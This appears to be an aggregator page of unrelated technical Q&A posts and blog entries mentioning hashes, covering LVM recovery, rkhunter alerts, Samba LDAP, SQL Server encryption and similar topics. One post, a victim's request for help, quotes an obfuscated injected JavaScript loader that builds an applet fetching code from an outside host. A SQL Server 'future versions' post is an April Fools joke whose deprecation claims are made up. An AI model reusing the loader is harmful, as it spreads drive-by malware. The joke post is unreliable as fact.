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  • How to determine the source of a request in a distributed service system?

    - by Kabumbus
    Map/Reduce is a great concept for sorting large quantities of data at once. What to do if you have small parts of data and you need to reduce it all the time? Simple example - choosing a service for request. Imagine we have 10 services. Each provides services host with sets of request headers and post/get arguments. Each service declares it has 30 unique keys - 10 per set. service A: name id ... Now imagine we have a distributed services host. We have 200 machines with 10 services on each. Each service has 30 unique keys in there sets. but now to find to which service to map the incoming request we make our services post unique values that map to that sets. We can have up to or more than 10 000 such values sets on each machine per each service. service A machine 1 name = Sam id = 13245 ... service A machine 1 name = Ben id = 33232 ... ... service A machine 100 name = Ron id = 777888 ... So we get 200 * 10 * 30 * 30 * 10 000 == 18 000 000 000 and we get 500 requests per second on our gateway each containing 45 items 15 of which are just noise. And our task is to find a service for request (at least a machine it is running on). On all machines all over cluster for same services we have same rules. We can first select to which service came our request via rules filter 10 * 30. and we will have 200 * 30 * 10 000 == 60 000 000. So... 60 mil is definitely a problem... I hope to get on idea of mapping 30 * 10 000 onto some artificial neural network alike Perceptron that outputs 1 if 30 words (some hashes from words) from the request are correct or if less than Perceptron should return 0. And I’ll send each such Perceptron for each service from each machine to gateway. So I would have a map Perceptron <-> machine for each service. Can any one tall me if my Perceptron idea is at least “sane”? Or normal people do it some other way? Or if there are better ANNs for such purposes?

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  • SQL 2014 does data the way developers want

    - by Rob Farley
    A post I’ve been meaning to write for a while, good that it fits with this month’s T-SQL Tuesday, hosted by Joey D’Antoni (@jdanton) Ever since I got into databases, I’ve been a fan. I studied Pure Maths at university (as well as Computer Science), and am very comfortable with Set Theory, which undergirds relational database concepts. But I’ve also spent a long time as a developer, and appreciate that that databases don’t exactly fit within the stuff I learned in my first year of uni, particularly the “Algorithms and Data Structures” subject, in which we studied concepts like linked lists. Writing in languages like C, we used pointers to quickly move around data, without a database in sight. Of course, if we had a power failure all this data was lost, as it was only persisted in RAM. Perhaps it’s why I’m a fan of database internals, of indexes, latches, execution plans, and so on – the developer in me wants to be reassured that we’re getting to the data as efficiently as possible. Back when SQL Server 2005 was approaching, one of the big stories was around CLR. Many were saying that T-SQL stored procedures would be a thing of the past because we now had CLR, and that obviously going to be much faster than using the abstracted T-SQL. Around the same time, we were seeing technologies like Linq-to-SQL produce poor T-SQL equivalents, and developers had had a gutful. They wanted to move away from T-SQL, having lost trust in it. I was never one of those developers, because I’d looked under the covers and knew that despite being abstracted, T-SQL was still a good way of getting to data. It worked for me, appealing to both my Set Theory side and my Developer side. CLR hasn’t exactly become the default option for stored procedures, although there are plenty of situations where it can be useful for getting faster performance. SQL Server 2014 is different though, through Hekaton – its In-Memory OLTP environment. When you create a table using Hekaton (that is, a memory-optimized one), the table you create is the kind of thing you’d’ve made as a developer. It creates code in C leveraging structs and pointers and arrays, which it compiles into fast code. When you insert data into it, it creates a new instance of a struct in memory, and adds it to an array. When the insert is committed, a small write is made to the transaction to make sure it’s durable, but none of the locking and latching behaviour that typifies transactional systems is needed. Indexes are done using hashes and using bw-trees (which avoid locking through the use of pointers) and by handling each updates as a delete-and-insert. This is data the way that developers do it when they’re coding for performance – the way I was taught at university before I learned about databases. Being done in C, it compiles to very quick code, and although these tables don’t support every feature that regular SQL tables do, this is still an excellent direction that has been taken. @rob_farley

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  • Unconvert Text File from Binary Format

    - by Hammer Bro.
    I've got a rather large CSV file (~700MB) which I know to consist of lines of 27-character alpha-numeric hashes; no commas or anything fancy. Somehow, during its migration from Windows to Linux (via winSCP and then a few regular SCPs), it has converted into some kind of binary format I am unfamiliar with. If I open the file in vi, everything appears fine, and it says [converted] at the bottom, although I know it's not a line endings issue (and dos2unix doesn't help). If I 'head' the file, it looks proper except for a "ÿþ" at the beginning of the first line. If I open up the file in nano, however, I see the "ÿþ" at the start and then "^@" before every character (even newlines and EoF). If I try to re-save or copy the file (say via: head file.csv short.txt), this special encoding is preserved. I copied the first ten lines out of vi (which displays it properly) into my Windows clipboard via my SSH client, then pasted it into a new text file, test.txt. This file is visually identical when opened in vi (and similar through 'head', minus the "ÿþ"), although it's roughly half of the filesize. Additionally, file test.txt test.txt: ASCII text file short.txt short.txt: I have no idea what format this once-text file got converted to (it's notoriously hard to search the internet for symbols), but surely there must be some way to convert it back. Any ideas?

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  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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  • Network corruption - corrupt downloads, corrupt streams, etc.

    - by rfrankel
    I've been having some problems with my home LAN. Downloaded executables won't run, my remote desktop sessions keep getting interrupted due to encryption errors, flash video streams show visible corruption (both Hulu and YouTube), and I've had a couple downloads for which the md5 hashes don't match. The problem has even occurred with a couple images embedded in webpages, though that's rare enough (presumably because images are relatively smaller files). I've had this problem across two Windows machines and a Mac, so it's neither machine-specific nor at the app or OS level. Comcast claims it's nothing to do with them, and my Linksys/Cisco RV016 router is out of warranty, so I have no access to official support. When I log into my router, it shows no error packets or dropped packets received. I plugged a laptop directly into the router and was able to download a 5.5 MB file and verify its MD5 hash, which is not proof that the problem is downstream of the router, but makes it seem quite likely, since I failed to download the same file several times from two desktops (one Mac, one Windows). Could this be a wiring problem? If so, is there any way clever/elegant to determine which wiring is faulty with just software? If I can avoid tracing all the wires throughout my entire house it would make my life quite a bit easier.

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  • Game login server

    - by Tar
    I have a setup like this: A website, with a database. This database houses accounts and all details. Password hashes/salts/join dates/etc. What I want to do is to be able to use this same database for our game database. The game will be on servers in the United States while the web server and web server database is in the Netherlands. I know there is a big problem with using remote SQL and we really don't want to do that as operation of the website is just as vital as operation of the game server. We had one solution that involved sending account details to another database hosted on the same server that the gameserver is hosted on, but that was incredibly unreliable because if the website was down, no new people could register to play the game. The solution that we want is to have a log in server that is used to check credentials for everything. Is this possible/viable and could anyone point in the right direction? So, in summation: 2 game servers 1 web servers 1 central database used for authorization. The game accounts and website accounts need to be one in the same.

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  • Running git-svn with cron results in garbage in .git

    - by Paul
    I've setup a git-svn repo with cron to fetch from the svn repo daily. I have a script to do the fetching, and this is what is invoked by cron. Everything is fine with the repo, and the script works fine when executed manually. However, when it runs under cron, empty files get dropped into the .git directory. The files have names that look like they are some base64 output, e.g. juTrvjP6m8 and kcKf3hu3b4. Two of these files show up for every cron run. I thought these might be commit hashes, but they're not, git-show says it's an unknown revision. I set-up the repo as follows: git svn init http://svn.ip.addr/repo git svn fetch svn-remote My script looks like this: cd /gitsvn/dir git svn fetch svn-remote git svn push pub The last line pushes the repo to a separate (bare) public repo from which others can clone. I'm piping the output from the cron job to a file, which looks like this: fatal: unable to run 'git-svn' Counting objects: 21, done. Delta compression using up to 2 threads. Compressing objects: 100% (10/10), done. Writing objects: 100% (11/11), 59.08 KiB, done. Total 11 (delta 8), reused 0 (delta 0) To /gitpub/repo.git 360faf5..a153b0d trunk -> trunk The line "fatal: unable to run 'git-svn'" is alarming, but the fetch seems to go ahead anyway. Any suggestions? Where are these empty garbage files coming from, and how to stop them? Am I in for bigger problems in the future? BTW, I'm using git 1.6.3.3.

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  • Do you known a reputable backup software that can capture ONLY file system structure + attributes, WITHOUT file content

    - by bogdan
    Is there, on Windows, a reputable backup software out there capable of capturing ONLY a file system's directory and file structure, along with each item's attributes, WITHOUT capturing the actual file content (all files should be zero-length in the backup). I thoroughly searched the web for a solution and wasn't able to find one. Scenario when this would be very useful: I have a large drive with a huge amount of files. If the drive dies, I don't care so much about the content in these files (I can always download this content again from the Internet at any time) but I do care HUGELY about the names of the files that were on it, possibly also about their MD5 hashes and other classic file attributes (especially created-date / modified-date). The functionality I need is present to an extent in "media"/file cataloging software (i.e. whereisit) and, to a lesser extent, in a Total Commander set of extensions (DiskDir, DiskDirExtended). The huge drawback with cataloging software is that it's not designed to store previous versions of each item (AFAIK) and, most importantly, it has very weak content backup capabilities. I managed to think of a hack but I hope there's some backup software out there that already has this capability and I just failed to find it, thus this question. The hack: RoboCopy could be used with /CREATE (CREATE directory tree and zero-length files only) or /COPY (what to COPY for files) without the D=Data flag, to clone a directory structure into one where all files are zero-length but have the desired attributes. Then I would backup the cloned directory structure with a reputable backup software. I would really love to avoid a hack like this one, if possible. Thanks, Bogdan

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  • Program for remove exact duplicate files while caching search results

    - by John Thomas
    We need a Windows 7 program to remove/check the duplicates but our situation is somewhat different than the standard one for which there are enough programs. We have a fairly large static archive (collection) of photos spread on several disks. Let's call them Disk A..M. We have also some disks (let's call them Disk 1..9) which contain some duplicates which are to be found on disks A..M. We want to add to our collection new disks (N, O, P... aso.) which will contain the photos from disks 1..9 but, of course, we don't want to have any photos two (or more) times. Of course, theoretically, the task can be solved with a regular file duplicate remover but the time needed will be very big. Ideally, AFAIS now, the real solution would be a program which will scan the disks A..M, store the file sizes/hashes of the photos in an indexed database/file(s) and will check the new disks (1..9) against this database. However I have hard time to find such a program (if exists). Other things to note: we consider that the Disks A..M (the collection) doesn't have any duplicates on them the file names might be changed we aren't interested in approximated (fuzzy) comparison which can be found in some photo comparing programs. We hunt for exact duplicate files. we aren't afraid of command line. :-) we need to work on Win7/XP we prefer (of course) to be freeware TIA for any suggestions, John Th.

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  • AFP/SSH stopped working on OS X Server

    - by churnd
    I have 3 Mac OS X servers all bound to AD, all configured in the Golden Triangle setup. All 3 are completely separate from each other in terms of services, but all reside on the same internal network and are all bound to the same Active Directory domain. Two are 10.5.x (latest updates) and one is 10.6.3. Last weekend, all 3 simultaneously stopped allowing Active Directory users access to certain services, specifically AFP & SSH. SMB still works fine on all 3. I asked the AD admin if anything changed, and he said "Yes, we made a change to user accounts to toughen up security", and suggested I use [email protected] instead of just username. This still didn't work. I have completely removed one of my servers from AD, and re-joined, but this didn't work either. I can do kinit from command line and get a Kerberos ticket. sudo klist -ke shows all services are configured to use the correct Kerberos principles. I have been scavenging the logs for any useful info. The AFP log just shows that I'm connecting and disconnecting. The DirectoryService.log shows stuff about misconfigured Kerberos hashes, but my research is showing that's not uncommon. /var/log/system.log isn't showing anything useful that I can see. I'm not sure where to go from here. Any help/ideas appreciated.

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  • Almost All Xenserver Logical Volumes Disappeared - Recovery?

    - by Alex
    We had a hard disc crash of one of two hard discs in a software raid with a LVM on top. The server is running Citrix xenserver. On the hard disk which is still intact, the volume group gets detected well, but only one LV is left. (some hashes replaced by "x") # lvdisplay --- Logical volume --- LV Name /dev/VG_XenStorage-x-x-x-x-408b91acdcae/MGT VG Name VG_XenStorage-x-x-x-x-408b91acdcae LV UUID x-x-x-x-x-x-vQmZ6C LV Write Access read/write LV Status available # open 0 LV Size 4.00 MiB Current LE 1 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 root@rescue ~ # vgdisplay --- Volume group --- VG Name VG_XenStorage-x-x-x-x-408b91acdcae System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 0 Max PV 0 Cur PV 1 Act PV 1 VG Size 698.62 GiB PE Size 4.00 MiB Total PE 178848 Alloc PE / Size 1 / 4.00 MiB Free PE / Size 178847 / 698.62 GiB VG UUID x-x-x-x-x-x-53w0kL I could understand if a full physical volume is lost - but why only the logical volumes? Is there any explanation for this? Is there any way to recover the logical volumes? EDIT We are here in a rescue system. The problem is that the whole server does not boot (GRUB error 22) What we are trying to do is to access the root filesystem. But everything was in the LVM. We have only this: (parted) print Model: ATA SAMSUNG HD753LJ (scsi) Disk /dev/sdb: 750GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 750GB 750GB primary boot, lvm And this 750GB LVM volume is exactly what we see on top. edit2 Output of vgcfgrestore, but from the rescue system, as there is no root to chroot to. # vgcfgrestore --list VG_XenStorage-x-b4b0-x-x-408b91acdcae File: /etc/lvm/archive/VG_XenStorage-x-x-x-x-408b91acdcae_00000.vg VG name: VG_XenStorage-x-x-x-x-408b91acdcae Description: Created *before* executing '/sbin/vgscan --ignorelockingfailure --mknodes' Backup Time: Fri Jun 28 23:53:20 2013 File: /etc/lvm/backup/VG_XenStorage-x-x-x-x-408b91acdcae VG name: VG_XenStorage-x-x-x-x-408b91acdcae Description: Created *after* executing '/sbin/vgscan --ignorelockingfailure --mknodes' Backup Time: Fri Jun 28 23:53:20 2013

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  • Rkhunter reports file properties have changed

    - by CountMurphy
    I am running a fully updated LTS copy of Ubuntu server. Today I ran rkhunter (as I do from time to time). This is the output I got: Warning: The file properties have changed: [15:52:25] File: /bin/ps [15:52:25] Current hash: f22991ec93ae966c856d367f42fc3d8a484bd827 [15:52:25] Stored hash : 1892268bf195ac118076b1b0f53e7a637eb6fbb3 [15:52:25] Current inode: 142902 Stored inode: 130894 [15:52:25] Current file modification time: 1324307913 (19-Dec-2011 07:18:33) [15:52:25] Stored file modification time : 1260992081 (16-Dec-2009 11:34:41) Warning: The file properties have changed: [15:52:33] File: /usr/bin/ldd [15:52:33] Current hash: f1e2ca5aa3a28994e2cebb64c993a72b7d97b28c [15:52:33] Stored hash : 295d9cedb121a5e431a39a6d201ecd7ce5640497 [15:52:33] Current inode: 2236210 Stored inode: 2234359 [15:52:33] Current size: 5280 Stored size: 5279 [15:52:33] Current file modification time: 1331165514 (07-Mar-2012 16:11:54) [15:52:33] Stored file modification time : 1295653965 (21-Jan-2011 15:52:45) Warning: The file properties have changed: [15:52:37] File: /usr/bin/pgrep [15:52:37] Current hash: 3eada9a96760f3e2c9111cfe32901d1432813c1d [15:52:37] Stored hash : ce265d0db9964b173fe5036f703a9b8d66e55df3 [15:52:37] Current inode: 2229646 Stored inode: 2224867 [15:52:37] Current file modification time: 1324307913 (19-Dec-2011 07:18:33) [15:52:37] Stored file modification time : 1260992081 (16-Dec-2009 11:34:41) Warning: The file properties have changed: [15:52:41] File: /usr/bin/top [15:52:41] Current hash: 6be13737d8b0950cea2f1ae3a46d4af713dbe971 [15:52:41] Stored hash : c7b495ecef3982eeb6f08a511861b1a1ae8775e6 [15:52:41] Current inode: 2229629 Stored inode: 2224862 [15:52:41] Current file modification time: 1324307913 (19-Dec-2011 07:18:33) [15:52:41] Stored file modification time : 1260992081 (16-Dec-2009 11:34:41) Warning: The file properties have changed: [15:52:53] File: /usr/sbin/cron [15:52:53] Current hash: e783ca973f970aa8a4bf5edc670e690b33914c3d [15:52:53] Stored hash : 4718257a8060736b9058aed025c992f02a74a5a7 [15:52:53] Current inode: 2224719 Stored inode: 2228839 [15:52:54] Current file modification time: 1330965568 (05-Mar-2012 08:39:28) There were also a few other I left out. Has my server been rooted? I am running fail2ban and do monitor failed ssh logins. nothing has come up. Could someone compare these hashes to their copy of Ubuntu Server (lts)? Please tell me these are false positives..... Edit: is something else like rkhunter I can run for a second scan?

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  • ldap-authentication without sambaSamAccount on linux smb/cifs server (e.g. samba)

    - by umlaeute
    i'm currently running samba-3.5.6 on a debian/wheezy host to act as the fileserver for our department's w32-clients. authentication is done via OpenLDAP, where each user-dn has an objectclass:sambaSamAccount that holds the smb-credentials and an objectclass:shadowAccount/posixAccount for "ordinary" authentication (e.g. pam, apache,...) now we would like to dump our department's user-db, and instead use authenticate against the user-db of our upstream-organisation. these user-accounts are managed in a novell-edirectory, which i can already use to authenticate using pam (e.g. for ssh-logins; on another host). our upstream organisation provides smb/cifs based access (via some novell service) to some directories, which i can access from my linux client via smbclient. what i currently don't manage to do is to use the upstream-ldap (the eDirectory) to authenticate our institution's samba: i configured my samba-server to auth against the upstream ldap server: passdb backend = ldapsam:ldaps://ldap.example.com but when i try to authenticate a user, i get: $ smbclient -U USER \\\\SMBSERVER\\test Enter USER's password: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.6.6] tree connect failed: NT_STATUS_ACCESS_DENIED the logfiles show: [2012/10/02 09:53:47.692987, 0] passdb/secrets.c:350(fetch_ldap_pw) fetch_ldap_pw: neither ldap secret retrieved! [2012/10/02 09:53:47.693131, 0] lib/smbldap.c:1180(smbldap_connect_system) ldap_connect_system: Failed to retrieve password from secrets.tdb i see two problems i'm having: i don't have any administrator password for the upstream ldap (and most likely, they won't give me one). i only want to authenticate my users, write-access is not needed at all. can i go away with that? the upstream ldap does not have any samba-related attributes in the db. i was under the impression, that for samba to authenticate, those attributes are required, as smb/cifs uses some trivial hashing which is not compatible with the usual posixAccount hashes. is there a way for my department's samba server to authenticate against such an ldap server?

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  • Windows disk change monitoring for malware analysis

    - by SuperDuck
    Not sure if this question belongs to here, because it has some relations with 'serverfault' (system backups) and 'stackoverflow' (software analysis). I'm looking for a solution to monitor disk changes on a Windows system and selectively revert them. It should be able to handle live files like registry parts, so may need to be an offline backup software. It shouldn't silently pass over files which the current admin user doesn't have permissions on (files with no permission entries or owned by the 'system' user) Registry change tracking would be a bonus but is not a requirement I use virtual machines for malware analysis, there is even no solution to list file changes in disk snapshot files (delta VMDK). I currently use Ashampoo for monitoring changes. Though it's the best one between similars, it's not a good software and hasn't really evolved in many 'platinum', 'deluxe' versions released in the last 10 years (it even used non-resizable windows until the latest version). The real problem is it misses some disk / registry changes. Perhaps it only compares modification dates and doesn't catch a change if the dates are preserved. So, I think the solution should compare files using hashes, or file sizes at least. There are numerous backup software out there and I'm sure one can handle this, offline or online.

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  • Almost All Logical Volumes Disappeared - Recovery?

    - by Alex
    We had a hard disc crash of one of two hard discs in a software raid with a LVM on top. The server is running Citrix xenserver. On the hard disk which is still intact, the volume group gets detected well, but only one LV is left. (some hashes replaced by "x") # lvdisplay --- Logical volume --- LV Name /dev/VG_XenStorage-x-x-x-x-408b91acdcae/MGT VG Name VG_XenStorage-x-x-x-x-408b91acdcae LV UUID x-x-x-x-x-x-vQmZ6C LV Write Access read/write LV Status available # open 0 LV Size 4.00 MiB Current LE 1 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 root@rescue ~ # vgdisplay --- Volume group --- VG Name VG_XenStorage-x-x-x-x-408b91acdcae System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 0 Max PV 0 Cur PV 1 Act PV 1 VG Size 698.62 GiB PE Size 4.00 MiB Total PE 178848 Alloc PE / Size 1 / 4.00 MiB Free PE / Size 178847 / 698.62 GiB VG UUID x-x-x-x-x-x-53w0kL I could understand if a full physical volume is lost - but why only the logical volumes? Is there any explanation for this? Is there any way to recover the logical volumes? EDIT We are here in a rescue system. The problem is that the whole server does not boot (GRUB error 22) What we are trying to do is to access the root filesystem. But everything was in the LVM. We have only this: (parted) print Model: ATA SAMSUNG HD753LJ (scsi) Disk /dev/sdb: 750GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 750GB 750GB primary boot, lvm And this 750GB LVM volume is exactly what we see on top.

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  • How to run a restricted set of programs with Administrator privileges without giving up Admin acces (Win7 Pro)

    - by frLich
    I have a shared system, running Windows7 X64, restricted to a 'standard user' with no password. Not everyone who has access to the system has the administrator password. This works rather well, except for some applications - specially the unlock-applications for encrypted hard drives/USB flash drives. The specific ones either require Administrator access (eg. Seagate Blackarmor) or simply fail without it -- since these programs are sending raw commands to a device, this is to be expected. I would like to be able to add the hashes of these particular programs to a whitelist, and have them run as administrator without needing any prompts. Since these are by definition on removable media, I can't simply use a filename or even a path. One of the users who shares the system can be considered 'crafty', so anything which temporarily grants administrator rights to an user account is certain to cause problems. What i'd like to be able to do: 1) Create an admin account that can only run programs from a whitelist (or, failing that, from a directory) I can't find a good way to do this: As far as I can tell, SRP applies equally to ALL users? Even if I put a "Deny" token on all directories on the system, such that new directories would inherit it, it could still potentially run things from the mounted USB devices. I also don't know whether it's possible to create a new directory that DOESN'T inherit from the parent, that would lake the deny token, and provide admin access. 2) Find a lightweight service that will run these programs in its local context Windows7 seems to block cross-privilege level communication by default, and I haven't found such for windows 7. One example seems to be "sudo" (http://pages.cpsc.ucalgary.ca/~nfriess/sudo/) but because it uses a WLNOTIFY hook, it won't work under Vista nor Windows7 Non-Solutions: - RunAs: Requires administrator password! (but everyone calls it "sudo" anyway) - SuRun: From Google: "Surun uses its own Windows service that adds the user to the group of administrators during program start and removes him automatically from that group again"

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  • SQL SERVER – History of SQL Server Database Encryption

    - by pinaldave
    I recently met Michael Coles and Rodeney Landrum the author of one of the kind book Expert SQL Server 2008 Encryption at SQLPASS in Seattle. During the conversation we ended up how Microsoft is evolving encryption technology. The same discussion lead to talking about history of encryption tools in SQL Server. Michale pointed me to page 18 of his book of encryption. He explicitly give me permission to re-produce relevant part of history from his book. Encryption in SQL Server 2000 Built-in cryptographic encryption functionality was nonexistent in SQL Server 2000 and prior versions. In order to get server-side encryption in SQL Server you had to resort to purchasing or creating your own SQL Server XPs. Creating your own cryptographic XPs could be a daunting task owing to the fact that XPs had to be compiled as native DLLs (using a language like C or C++) and the XP application programming interface (API) was poorly documented. In addition there were always concerns around creating wellbehaved XPs that “played nicely” with the SQL Server process. Encryption in SQL Server 2005 Prior to the release of SQL Server 2005 there was a flurry of regulatory activity in response to accounting scandals and attacks on repositories of confidential consumer data. Much of this regulation centered onthe need for protecting and controlling access to sensitive financial and consumer information. With the release of SQL Server 2005 Microsoft responded to the increasing demand for built-in encryption byproviding the necessary tools to encrypt data at the column level. This functionality prominently featured the following: Support for column-level encryption of data using symmetric keys or passphrases. Built-in access to a variety of symmetric and asymmetric encryption algorithms, including AES, DES, Triple DES, RC2, RC4, and RSA. Capability to create and manage symmetric keys. Key creation and management. Ability to generate asymmetric keys and self-signed certificates, or to install external asymmetric keys and certificates. Implementation of hierarchical model for encryption key management, similar to the ANSI X9.17 standard model. SQL functions to generate one-way hash codes and digital signatures, including SHA-1 and MD5 hashes. Additional SQL functions to encrypt and decrypt data. Extensions to the SQL language to support creation, use, and administration of encryption keys and certificates. SQL CLR extensions that provide access to .NET-based encryption functionality. Encryption in SQL Server 2008 Encryption demands have increased over the past few years. For instance, there has been a demand for the ability to store encryption keys “off-the-box,” physically separate from the database and the data it contains. Also there is a recognized requirement for legacy databases and applications to take advantage of encryption without changing the existing code base. To address these needs SQL Server 2008 adds the following features to its encryption arsenal: Transparent Data Encryption (TDE): Allows you to encrypt an entire database, including log files and the tempdb database, in such a way that it is transparent to client applications. Extensible Key Management (EKM): Allows you to store and manage your encryption keys on an external device known as a hardware security module (HSM). Cryptographic random number generation functionality. Additional cryptography-related catalog views and dynamic management views. SQL language extensions to support the new encryption functionality. The encryption book covers all the tools in its various chapter in one simple story. If you are interested how encryption evolved and reached to the stage where it is today, this book is must for everyone. You can read my earlier review of the book over here. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, SQLAuthority Book Review, SQLAuthority News, T SQL, Technology Tagged: Encryption, SQL Server Encryption, SQLPASS

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  • Clever memory usage through the years

    - by Ben Emmett
    A friend and I were recently talking about the really clever tricks people have used to get the most out of memory. I thought I’d share my favorites, and would love to hear yours too! Interleaving on drum memory Back in the ye olde days before I’d been born (we’re talking the 50s / 60s here), working memory commonly took the form of rotating magnetic drums. These would spin at a constant speed, and a fixed head would read from memory when the correct part of the drum passed it by, a bit like a primitive platter disk. Because each revolution took a few milliseconds, programmers took to manually arranging information non-sequentially on the drum, timing when an instruction or memory address would need to be accessed, then spacing information accordingly around the edge of the drum, thus reducing the access delay. Similar techniques were still used on hard disks and floppy disks into the 90s, but have become irrelevant with modern disk technologies. The Hashlife algorithm Conway’s Game of Life has attracted numerous implementations over the years, but Bill Gosper’s Hashlife algorithm is particularly impressive. Taking advantage of the repetitive nature of many cellular automata, it uses a quadtree structure to store the hashes of pieces of the overall grid. Over time there are fewer and fewer new structures which need to be evaluated, so it starts to run faster with larger grids, drastically outperforming other algorithms both in terms of speed and the size of grid which can be simulated. The actual amount of memory used is huge, but it’s used in a clever way, so makes the list . Elite’s procedural generation Ok, so this isn’t exactly a memory optimization – more a storage optimization – but it gets an honorable mention anyway. When writing Elite, David Braben and Ian Bell wanted to build a rich world which gamers could explore, but their 22K memory was something of a limitation (for comparison that’s about the size of my avatar picture at the top of this page). They procedurally generated all the characteristics of the 2048 planets in their virtual universe, including the names, which were stitched together using a lookup table of parts of names. In fact the original plans were for 2^52 planets, but it was decided that that was probably too many. Oh, and they did that all in assembly language. Other games of the time used similar techniques too – The Sentinel’s landscape generation algorithm being another example. Modern Garbage Collectors Garbage collection in managed languages like Java and .NET ensures that most of the time, developers stop needing to care about how they use and clean up memory as the garbage collector handles it automatically. Achieving this without killing performance is a near-miraculous feet of software engineering. Much like when learning chemistry, you find that every time you think you understand how the garbage collector works, it turns out to be a mere simplification; that there are yet more complexities and heuristics to help it run efficiently. Of course introducing memory problems is still possible (and there are tools like our memory profiler to help if that happens to you) but they’re much, much rarer. A cautionary note In the examples above, there were good and well understood reasons for the optimizations, but cunningly optimized code has usually had to trade away readability and maintainability to achieve its gains. Trying to optimize memory usage without being pretty confident that there’s actually a problem is doing it wrong. So what have I missed? Tell me about the ingenious (or stupid) tricks you’ve seen people use. Ben

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  • How views are changing in future versions of SQL

    - by Rob Farley
    April is here, and this weekend, SQL v11.0 (previous known as Denali, now known as SQL Server 2012) reaches general availability. And so I thought I’d share some news about what’s coming next. I didn’t hear this at the MVP Summit earlier this year (where there was lots of NDA information given, but I didn’t go), so I think I’m free to share it. I’ve written before about CTEs being query-scoped views. Well, the actual story goes a bit further, and will continue to develop in future versions. A CTE is a like a “temporary temporary view”, scoped to a single query. Due to globally-scoped temporary objects using a two-hashes naming style, and session-scoped (or ‘local’) temporary objects a one-hash naming style, this query-scoped temporary object uses a cunning zero-hash naming style. We see this implied in Books Online in the CREATE TABLE page, but as we know, temporary views are not yet supported in the SQL Server. However, in a breakaway from ANSI-SQL, Microsoft is moving towards consistency with their naming. We know that a CTE is a “common table expression” – this is proving to be a more strategic than you may have appreciated. Within the Microsoft product group, the term “Table Expression” is far more widely used than just CTEs. Anything that can be used in a FROM clause is referred to as a Table Expression, so long as it doesn’t actually store data (which would make it a Table, rather than a Table Expression). You can see this is not just restricted to the product group by doing an internet search for how the term is used without ‘common’. In the past, Books Online has referred to a view as a “virtual table” (but notice that there is no SQL 2012 version of this page). However, it was generally decided that “virtual table” was a poor name because it wasn’t completely accurate, and it’s typically accepted that virtualisation and SQL is frowned upon. That page I linked to says “or stored query”, which is slightly better, but when the SQL 2012 version of that page is actually published, the line will be changed to read: “A view is a stored table expression (STE)”. This change will be the first of many. During the SQL 2012 R2 release, the keyword VIEW will become deprecated (this will be SQL v11 SP1.5). Three versions later, in SQL 14.5, you will need to be in compatibility mode 140 to allow “CREATE VIEW” to work. Also consistent with Microsoft’s deprecation policy, the execution of any query that refers to an object created as a view (rather than the new “CREATE STE”), will cause a Deprecation Event to fire. This will all be in preparation for the introduction of Single-Column Table Expressions (to be introduced in SQL 17.3 SP6) which will finally shut up those people waiting for a decent implementation of Inline Scalar Functions. And of course, CTEs are “Common” because the Table Expression definition needs to be repeated over and over throughout a stored procedure. ...or so I think I heard at some point. Oh, and congratulations to all the new MVPs on this April 1st. @rob_farley

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  • Where should you put constants and why?

    - by Tim Meyer
